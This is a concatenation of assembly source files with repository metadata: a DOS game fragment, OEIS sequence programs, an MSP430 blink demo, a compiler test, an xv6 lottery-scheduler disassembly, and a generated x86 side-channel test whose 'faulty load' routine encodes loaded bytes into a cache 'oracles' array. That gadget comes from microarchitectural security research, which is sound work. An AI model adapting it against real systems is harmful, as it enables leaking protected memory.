mov bx, TILE_IN_BYTES
mul bx
add ax, bitmap_tilesheet
mov si, ax
jmp .end
.null:
mov si, bitmap_tilesheet
.end:
ret
endif
; Irrelevant interrupt you can break on in the monitor
; BPINT 21 25
dosbox_break:
push ax
mov ah, 25h
int 21h
pop ax
ret
;https://stackoverflow.com/a/40709661
; clobbers: AH, DX
rand_seed:
mov AH, 00h ; interrupt to get system timer in CX:DX
int 1AH
mov [RandSeed], dx
ret
; ----------------
; inputs: none (modifies RandSeed seed variable)
; clobbers: DX. returns: AX = next random number
rand_new:
mov ax, 25173 ; LCG Multiplier
mul word ptr [RandSeed] ; DX:AX = LCG multiplier * seed
add ax, 13849 ; Add LCG increment value
; Modulo 65536, AX = (multiplier*seed+increment) mod 65536
mov [RandSeed], ax ; Update seed = return value
shr ax,1
shr ax,1
shr ax,1
shr ax,1
shr ax,1 ; Discard 5 bits
ret
align 16
include "graphics.asm"
include "input.asm"
; Forth extern methods
ifdef ENGINE_TAURUS
include "engines/dos-taurus.asm"
endif
ifdef ENGINE_LIBRA
include "engines/dos-libra.asm"
include "../build/level-1.asm"
endif
align 16
; Forth compilation
include "../build/paxconsola_generated.asm"
; section .data
.data_start:
RelativeXCoordinate dw 0
RelativeYCoordinate dw 0
PelPanning db 0
VerticalOffset dw 0
HeroSpriteX dw 0
HeroSpriteY dw 0
BufferOffscreen dw 0
BufferOnscreen dw 0
RandSeed dw 0
.data_end:
| 20.89043 | 88 | 0.565596 |
759e0a8feb2388a89cd6336750b90eab5da49a97 | 646 | asm | Assembly | oeis/228/A228959.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/228/A228959.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/228/A228959.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A228959: Total sum of squared lengths of ascending runs in all permutations of [n].
; 0,1,6,32,186,1222,9086,75882,705298,7231862,81160422,990024466,13047411482,184788881838,2799459801742,45178128866282,773829771302946,14021761172671462,267991492197471158,5388234382450264002,113692608262971520042,2512031106415692960926,58003383664797648021342,1397067908734351170753178,35041391836280554488371762,913828846573417021966681302,24742195328235324724825782406,694570697430168785719981975922,20190859387943546508350699152698,607078438187428643479715186407822
sub $1,$0
lpb $0
add $2,1
mul $1,$2
add $1,$0
add $1,$0
sub $0,1
lpe
mov $0,$1
| 49.692308 | 469 | 0.845201 |
156b36de388fd2960adc0362845d3a426d498268 | 3,865 | asm | Assembly | F5529/Assembly/Blink/blink.asm | sonic2000gr/MSP430 | 455bc12943c48d43561323833bdccb4be311d2f6 | [
"BSD-2-Clause"
] | 1 | 2019-04-07T12:20:01.000Z | 2019-04-07T12:20:01.000Z | F5529/Assembly/Blink/blink.asm | sonic2000gr/MSP430 | 455bc12943c48d43561323833bdccb4be311d2f6 | [
"BSD-2-Clause"
] | null | null | null | F5529/Assembly/Blink/blink.asm | sonic2000gr/MSP430 | 455bc12943c48d43561323833bdccb4be311d2f6 | [
"BSD-2-Clause"
] | null | null | null | ;-------------------------------------------------------------------------------
; MSP430F5529 blink in assembly
; This is inefficient as it uses a software delay and the CPU is always on
; (C) 2018 Manolis Kiagias
;-------------------------------------------------------------------------------
.cdecls C,LIST,"msp430.h" ; Include device header file
;-------------------------------------------------------------------------------
.def RESET ; Export program entry-point to
; make it known to linker.
;-------------------------------------------------------------------------------
.text ; Assemble into program memory.
.retain ; Override ELF conditional linking
; and retain current section.
.retainrefs ; And retain any sections that have
; references to current section.
;-------------------------------------------------------------------------------
RESET mov.w #__STACK_END,SP ; Initialize stackpointer
StopWDT mov.w #WDTPW|WDTHOLD,&WDTCTL ; Stop watchdog timer
;-------------------------------------------------------------------------------
; Main loop here
;-------------------------------------------------------------------------------
;-------------------------------------------------------------------------------
; Initialize outputs
;-------------------------------------------------------------------------------
bis.b #BIT0, &P1DIR ; make P1.0 output
bis.b #BIT7, &P4DIR ; make P4.7 output
;-------------------------------------------------------------------------------
; Red led off, green led on
;-------------------------------------------------------------------------------
On bic.b #BIT0, &P1OUT ; clear P1.0 (red led off)
bis.b #BIT7, &P4OUT ; set P4.7 (green red on)
call #d1 ; call delay
;-------------------------------------------------------------------------------
; Red led on, green led off
;-------------------------------------------------------------------------------
Off bis.b #BIT0, &P1OUT ; set P1.0 (red led on)
bic.b #BIT7, &P4OUT ; clear P4.7 (green led off)
call #d1 ; call delay
jmp On
;-------------------------------------------------------------------------------
; Delay subroutine
;-------------------------------------------------------------------------------
d1 mov.w #10,R14 ; load R14 with outer loop value
L1 mov.w #35000,R15 ; load R15 with inner loop value
L2 dec.w R15 ; decrement R15
jnz L2 ; loop till zero
dec.w R14 ; decrement R14
jnz L1 ; loop till zero
ret ; Back to caller
;-------------------------------------------------------------------------------
; Stack Pointer definition
;-------------------------------------------------------------------------------
.global __STACK_END
.sect .stack
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".reset" ; MSP430 RESET Vector
.short RESET
| 58.560606 | 80 | 0.256921 |
bd97dbfc3c11b691c1217d18757634c452369fd9 | 980 | asm | Assembly | TestData/indirect.32.asm | robertmuth/Cwerg | fdf30b06c93b4620c0a45b448b6d92acb81c35f0 | [
"Apache-2.0"
] | 171 | 2020-01-30T16:58:07.000Z | 2022-03-27T22:12:17.000Z | TestData/indirect.32.asm | robertmuth/Cwerg | fdf30b06c93b4620c0a45b448b6d92acb81c35f0 | [
"Apache-2.0"
] | 14 | 2021-05-15T02:12:09.000Z | 2022-03-16T04:16:18.000Z | TestData/indirect.32.asm | robertmuth/Cwerg | fdf30b06c93b4620c0a45b448b6d92acb81c35f0 | [
"Apache-2.0"
] | 5 | 2021-03-01T20:52:13.000Z | 2022-03-07T06:35:03.000Z | # indirect function call
# simple function which will print out 1
.fun fun1 NORMAL [] = []
.bbl start
# load constant into new register x
mov x:U32 1
pusharg x
bsr print_u_ln
ret
.fun fun2 NORMAL [] = []
.bbl start
mov x:U32 2
pusharg x
bsr print_u_ln
ret
.fun fun3 NORMAL [] = []
.bbl start
mov x:U32 3
pusharg x
bsr print_u_ln
ret
.mem fun_pointers 8 RO
.addr.fun 4 fun1
.addr.fun 4 fun2
.addr.fun 4 fun3
.fun main NORMAL [S32] = []
.reg C32 [fp]
.bbl start
bsr fun1
bsr fun2
bsr fun3
lea.fun fp = fun1
jsr fp fun1
lea.fun fp = fun2
# fun1 just denotes a signature which is the same as fun2
jsr fp fun1
lea.fun fp = fun3
# fun1 just denotes a signature which is the same as fun3
jsr fp fun1
ld.mem fp = fun_pointers 0
jsr fp fun1
ld.mem fp = fun_pointers 4
jsr fp fun1
ld.mem fp = fun_pointers 8
jsr fp fun1
pusharg 0:S32
ret
| 15.806452 | 61 | 0.612245 |
971ba54b048a3b7327590524512cd4f0e94fe0ed | 1,591 | asm | Assembly | programs/oeis/166/A166552.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/166/A166552.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/166/A166552.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A166552: a(n) = 3*a(n-2) for n > 2; a(1) = 1; a(2) = 4.
; 1,4,3,12,9,36,27,108,81,324,243,972,729,2916,2187,8748,6561,26244,19683,78732,59049,236196,177147,708588,531441,2125764,1594323,6377292,4782969,19131876,14348907,57395628,43046721,172186884,129140163,516560652,387420489,1549681956,1162261467,4649045868,3486784401,13947137604,10460353203,41841412812,31381059609,125524238436,94143178827,376572715308,282429536481,1129718145924,847288609443,3389154437772,2541865828329,10167463313316,7625597484987,30502389939948,22876792454961,91507169819844,68630377364883,274521509459532,205891132094649,823564528378596,617673396283947,2470693585135788,1853020188851841,7412080755407364,5559060566555523,22236242266222092,16677181699666569,66708726798666276,50031545098999707,200126180395998828,150094635296999121,600378541187996484,450283905890997363,1801135623563989452,1350851717672992089,5403406870691968356,4052555153018976267,16210220612075905068,12157665459056928801,48630661836227715204,36472996377170786403,145891985508683145612,109418989131512359209,437675956526049436836,328256967394537077627,1313027869578148310508,984770902183611232881,3939083608734444931524,2954312706550833698643,11817250826203334794572,8862938119652501095929,35451752478610004383716,26588814358957503287787,106355257435830013151148,79766443076872509863361,319065772307490039453444,239299329230617529590083,957197316922470118360332
mov $4,$0
add $0,1
gcd $0,2
mov $1,3
mov $2,2
div $4,2
add $4,3
pow $1,$4
lpb $0
mul $2,2
mov $3,5
trn $3,$2
mov $0,$3
mul $1,2
lpe
sub $1,27
div $1,27
add $1,1
mov $0,$1
| 69.173913 | 1,350 | 0.859208 |
f1533f10327f37ae9ae4f3d01d6a1db585cc2919 | 4,419 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1569.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1569.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1569.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %rax
push %rdx
push %rsi
lea addresses_WT_ht+0xfd1f, %r13
nop
nop
nop
nop
nop
add %rsi, %rsi
mov $0x6162636465666768, %rax
movq %rax, %xmm0
and $0xffffffffffffffc0, %r13
movaps %xmm0, (%r13)
add %rdx, %rdx
pop %rsi
pop %rdx
pop %rax
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r9
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_RW+0xc024, %rsi
lea addresses_WC+0x113ec, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
sub $30935, %r9
mov $96, %rcx
rep movsb
nop
nop
sub $14336, %rdi
// Faulty Load
lea addresses_WT+0x12864, %r9
nop
nop
nop
nop
nop
sub %rsi, %rsi
mov (%r9), %r11
lea oracles, %r13
and $0xff, %r11
shlq $12, %r11
mov (%r13,%r11,1), %r11
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_RW', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC', 'congruent': 3, 'same': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': True}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 53.240964 | 2,999 | 0.663046 |
39bd8bb653cc2795cf2511366938e9113b3fde90 | 44,153 | asm | Assembly | lotterytest.asm | Gunahuachen1995/XV6_lottery_scheduler | ef0b2ff98292dc56252845a9169cb0a3b7a7f2ef | [
"MIT-0"
] | null | null | null | lotterytest.asm | Gunahuachen1995/XV6_lottery_scheduler | ef0b2ff98292dc56252845a9169cb0a3b7a7f2ef | [
"MIT-0"
] | null | null | null | lotterytest.asm | Gunahuachen1995/XV6_lottery_scheduler | ef0b2ff98292dc56252845a9169cb0a3b7a7f2ef | [
"MIT-0"
] | null | null | null |
_lotterytest: file format elf32-i386
Disassembly of section .text:
00000000 <spin>:
#include "types.h"
#include "user.h"
#include "date.h"
// Do some useless computations
void spin(int tix) {
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 28 sub $0x28,%esp
struct rtcdate end;
unsigned x = 0;
6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
unsigned y = 0;
d: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
while (x < 100000) { // Changed from 100000
14: eb 1a jmp 30 <spin+0x30>
y = 0;
16: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
while (y < 10000) {
1d: eb 04 jmp 23 <spin+0x23>
y++;
1f: 83 45 f0 01 addl $0x1,-0x10(%ebp)
struct rtcdate end;
unsigned x = 0;
unsigned y = 0;
while (x < 100000) { // Changed from 100000
y = 0;
while (y < 10000) {
23: 81 7d f0 0f 27 00 00 cmpl $0x270f,-0x10(%ebp)
2a: 76 f3 jbe 1f <spin+0x1f>
y++;
}
x++;
2c: 83 45 f4 01 addl $0x1,-0xc(%ebp)
// Do some useless computations
void spin(int tix) {
struct rtcdate end;
unsigned x = 0;
unsigned y = 0;
while (x < 100000) { // Changed from 100000
30: 81 7d f4 9f 86 01 00 cmpl $0x1869f,-0xc(%ebp)
37: 76 dd jbe 16 <spin+0x16>
y++;
}
x++;
}
gettime(&end);
39: 83 ec 0c sub $0xc,%esp
3c: 8d 45 d8 lea -0x28(%ebp),%eax
3f: 50 push %eax
40: e8 b0 03 00 00 call 3f5 <gettime>
45: 83 c4 10 add $0x10,%esp
printf(0, "spin with %d tickets ended at %d hours %d minutes %d seconds\n", tix, end.hour, end.minute, end.second);
48: 8b 4d d8 mov -0x28(%ebp),%ecx
4b: 8b 55 dc mov -0x24(%ebp),%edx
4e: 8b 45 e0 mov -0x20(%ebp),%eax
51: 83 ec 08 sub $0x8,%esp
54: 51 push %ecx
55: 52 push %edx
56: 50 push %eax
57: ff 75 08 pushl 0x8(%ebp)
5a: 68 8c 08 00 00 push $0x88c
5f: 6a 00 push $0x0
61: e8 6e 04 00 00 call 4d4 <printf>
66: 83 c4 20 add $0x20,%esp
}
69: 90 nop
6a: c9 leave
6b: c3 ret
0000006c <main>:
int main() {
6c: 8d 4c 24 04 lea 0x4(%esp),%ecx
70: 83 e4 f0 and $0xfffffff0,%esp
73: ff 71 fc pushl -0x4(%ecx)
76: 55 push %ebp
77: 89 e5 mov %esp,%ebp
79: 51 push %ecx
7a: 83 ec 24 sub $0x24,%esp
int pid1;
struct rtcdate start;
gettime(&start);
7d: 83 ec 0c sub $0xc,%esp
80: 8d 45 dc lea -0x24(%ebp),%eax
83: 50 push %eax
84: e8 6c 03 00 00 call 3f5 <gettime>
89: 83 c4 10 add $0x10,%esp
printf(0, "starting test at %d hours %d minutes %d seconds\n", start.hour, start.minute, start.second);
8c: 8b 4d dc mov -0x24(%ebp),%ecx
8f: 8b 55 e0 mov -0x20(%ebp),%edx
92: 8b 45 e4 mov -0x1c(%ebp),%eax
95: 83 ec 0c sub $0xc,%esp
98: 51 push %ecx
99: 52 push %edx
9a: 50 push %eax
9b: 68 cc 08 00 00 push $0x8cc
a0: 6a 00 push $0x0
a2: e8 2d 04 00 00 call 4d4 <printf>
a7: 83 c4 20 add $0x20,%esp
if ((pid1 = fork()) == 0) {
aa: e8 96 02 00 00 call 345 <fork>
af: 89 45 f4 mov %eax,-0xc(%ebp)
b2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
b6: 75 1f jne d7 <main+0x6b>
settickets(20);
b8: 83 ec 0c sub $0xc,%esp
bb: 6a 14 push $0x14
bd: e8 2b 03 00 00 call 3ed <settickets>
c2: 83 c4 10 add $0x10,%esp
spin(20);
c5: 83 ec 0c sub $0xc,%esp
c8: 6a 14 push $0x14
ca: e8 31 ff ff ff call 0 <spin>
cf: 83 c4 10 add $0x10,%esp
exit();
d2: e8 76 02 00 00 call 34d <exit>
}
else {
settickets(80);
d7: 83 ec 0c sub $0xc,%esp
da: 6a 50 push $0x50
dc: e8 0c 03 00 00 call 3ed <settickets>
e1: 83 c4 10 add $0x10,%esp
spin(80);
e4: 83 ec 0c sub $0xc,%esp
e7: 6a 50 push $0x50
e9: e8 12 ff ff ff call 0 <spin>
ee: 83 c4 10 add $0x10,%esp
exit();
f1: e8 57 02 00 00 call 34d <exit>
000000f6 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
f6: 55 push %ebp
f7: 89 e5 mov %esp,%ebp
f9: 57 push %edi
fa: 53 push %ebx
asm volatile("cld; rep stosb" :
fb: 8b 4d 08 mov 0x8(%ebp),%ecx
fe: 8b 55 10 mov 0x10(%ebp),%edx
101: 8b 45 0c mov 0xc(%ebp),%eax
104: 89 cb mov %ecx,%ebx
106: 89 df mov %ebx,%edi
108: 89 d1 mov %edx,%ecx
10a: fc cld
10b: f3 aa rep stos %al,%es:(%edi)
10d: 89 ca mov %ecx,%edx
10f: 89 fb mov %edi,%ebx
111: 89 5d 08 mov %ebx,0x8(%ebp)
114: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
117: 90 nop
118: 5b pop %ebx
119: 5f pop %edi
11a: 5d pop %ebp
11b: c3 ret
0000011c <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
11c: 55 push %ebp
11d: 89 e5 mov %esp,%ebp
11f: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
122: 8b 45 08 mov 0x8(%ebp),%eax
125: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
128: 90 nop
129: 8b 45 08 mov 0x8(%ebp),%eax
12c: 8d 50 01 lea 0x1(%eax),%edx
12f: 89 55 08 mov %edx,0x8(%ebp)
132: 8b 55 0c mov 0xc(%ebp),%edx
135: 8d 4a 01 lea 0x1(%edx),%ecx
138: 89 4d 0c mov %ecx,0xc(%ebp)
13b: 0f b6 12 movzbl (%edx),%edx
13e: 88 10 mov %dl,(%eax)
140: 0f b6 00 movzbl (%eax),%eax
143: 84 c0 test %al,%al
145: 75 e2 jne 129 <strcpy+0xd>
;
return os;
147: 8b 45 fc mov -0x4(%ebp),%eax
}
14a: c9 leave
14b: c3 ret
0000014c <strcmp>:
int
strcmp(const char *p, const char *q)
{
14c: 55 push %ebp
14d: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
14f: eb 08 jmp 159 <strcmp+0xd>
p++, q++;
151: 83 45 08 01 addl $0x1,0x8(%ebp)
155: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
159: 8b 45 08 mov 0x8(%ebp),%eax
15c: 0f b6 00 movzbl (%eax),%eax
15f: 84 c0 test %al,%al
161: 74 10 je 173 <strcmp+0x27>
163: 8b 45 08 mov 0x8(%ebp),%eax
166: 0f b6 10 movzbl (%eax),%edx
169: 8b 45 0c mov 0xc(%ebp),%eax
16c: 0f b6 00 movzbl (%eax),%eax
16f: 38 c2 cmp %al,%dl
171: 74 de je 151 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
173: 8b 45 08 mov 0x8(%ebp),%eax
176: 0f b6 00 movzbl (%eax),%eax
179: 0f b6 d0 movzbl %al,%edx
17c: 8b 45 0c mov 0xc(%ebp),%eax
17f: 0f b6 00 movzbl (%eax),%eax
182: 0f b6 c0 movzbl %al,%eax
185: 29 c2 sub %eax,%edx
187: 89 d0 mov %edx,%eax
}
189: 5d pop %ebp
18a: c3 ret
0000018b <strlen>:
uint
strlen(char *s)
{
18b: 55 push %ebp
18c: 89 e5 mov %esp,%ebp
18e: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
191: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
198: eb 04 jmp 19e <strlen+0x13>
19a: 83 45 fc 01 addl $0x1,-0x4(%ebp)
19e: 8b 55 fc mov -0x4(%ebp),%edx
1a1: 8b 45 08 mov 0x8(%ebp),%eax
1a4: 01 d0 add %edx,%eax
1a6: 0f b6 00 movzbl (%eax),%eax
1a9: 84 c0 test %al,%al
1ab: 75 ed jne 19a <strlen+0xf>
;
return n;
1ad: 8b 45 fc mov -0x4(%ebp),%eax
}
1b0: c9 leave
1b1: c3 ret
000001b2 <memset>:
void*
memset(void *dst, int c, uint n)
{
1b2: 55 push %ebp
1b3: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
1b5: 8b 45 10 mov 0x10(%ebp),%eax
1b8: 50 push %eax
1b9: ff 75 0c pushl 0xc(%ebp)
1bc: ff 75 08 pushl 0x8(%ebp)
1bf: e8 32 ff ff ff call f6 <stosb>
1c4: 83 c4 0c add $0xc,%esp
return dst;
1c7: 8b 45 08 mov 0x8(%ebp),%eax
}
1ca: c9 leave
1cb: c3 ret
000001cc <strchr>:
char*
strchr(const char *s, char c)
{
1cc: 55 push %ebp
1cd: 89 e5 mov %esp,%ebp
1cf: 83 ec 04 sub $0x4,%esp
1d2: 8b 45 0c mov 0xc(%ebp),%eax
1d5: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
1d8: eb 14 jmp 1ee <strchr+0x22>
if(*s == c)
1da: 8b 45 08 mov 0x8(%ebp),%eax
1dd: 0f b6 00 movzbl (%eax),%eax
1e0: 3a 45 fc cmp -0x4(%ebp),%al
1e3: 75 05 jne 1ea <strchr+0x1e>
return (char*)s;
1e5: 8b 45 08 mov 0x8(%ebp),%eax
1e8: eb 13 jmp 1fd <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
1ea: 83 45 08 01 addl $0x1,0x8(%ebp)
1ee: 8b 45 08 mov 0x8(%ebp),%eax
1f1: 0f b6 00 movzbl (%eax),%eax
1f4: 84 c0 test %al,%al
1f6: 75 e2 jne 1da <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
1f8: b8 00 00 00 00 mov $0x0,%eax
}
1fd: c9 leave
1fe: c3 ret
000001ff <gets>:
char*
gets(char *buf, int max)
{
1ff: 55 push %ebp
200: 89 e5 mov %esp,%ebp
202: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
205: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
20c: eb 42 jmp 250 <gets+0x51>
cc = read(0, &c, 1);
20e: 83 ec 04 sub $0x4,%esp
211: 6a 01 push $0x1
213: 8d 45 ef lea -0x11(%ebp),%eax
216: 50 push %eax
217: 6a 00 push $0x0
219: e8 47 01 00 00 call 365 <read>
21e: 83 c4 10 add $0x10,%esp
221: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
224: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
228: 7e 33 jle 25d <gets+0x5e>
break;
buf[i++] = c;
22a: 8b 45 f4 mov -0xc(%ebp),%eax
22d: 8d 50 01 lea 0x1(%eax),%edx
230: 89 55 f4 mov %edx,-0xc(%ebp)
233: 89 c2 mov %eax,%edx
235: 8b 45 08 mov 0x8(%ebp),%eax
238: 01 c2 add %eax,%edx
23a: 0f b6 45 ef movzbl -0x11(%ebp),%eax
23e: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
240: 0f b6 45 ef movzbl -0x11(%ebp),%eax
244: 3c 0a cmp $0xa,%al
246: 74 16 je 25e <gets+0x5f>
248: 0f b6 45 ef movzbl -0x11(%ebp),%eax
24c: 3c 0d cmp $0xd,%al
24e: 74 0e je 25e <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
250: 8b 45 f4 mov -0xc(%ebp),%eax
253: 83 c0 01 add $0x1,%eax
256: 3b 45 0c cmp 0xc(%ebp),%eax
259: 7c b3 jl 20e <gets+0xf>
25b: eb 01 jmp 25e <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
25d: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
25e: 8b 55 f4 mov -0xc(%ebp),%edx
261: 8b 45 08 mov 0x8(%ebp),%eax
264: 01 d0 add %edx,%eax
266: c6 00 00 movb $0x0,(%eax)
return buf;
269: 8b 45 08 mov 0x8(%ebp),%eax
}
26c: c9 leave
26d: c3 ret
0000026e <stat>:
int
stat(char *n, struct stat *st)
{
26e: 55 push %ebp
26f: 89 e5 mov %esp,%ebp
271: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
274: 83 ec 08 sub $0x8,%esp
277: 6a 00 push $0x0
279: ff 75 08 pushl 0x8(%ebp)
27c: e8 0c 01 00 00 call 38d <open>
281: 83 c4 10 add $0x10,%esp
284: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
287: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
28b: 79 07 jns 294 <stat+0x26>
return -1;
28d: b8 ff ff ff ff mov $0xffffffff,%eax
292: eb 25 jmp 2b9 <stat+0x4b>
r = fstat(fd, st);
294: 83 ec 08 sub $0x8,%esp
297: ff 75 0c pushl 0xc(%ebp)
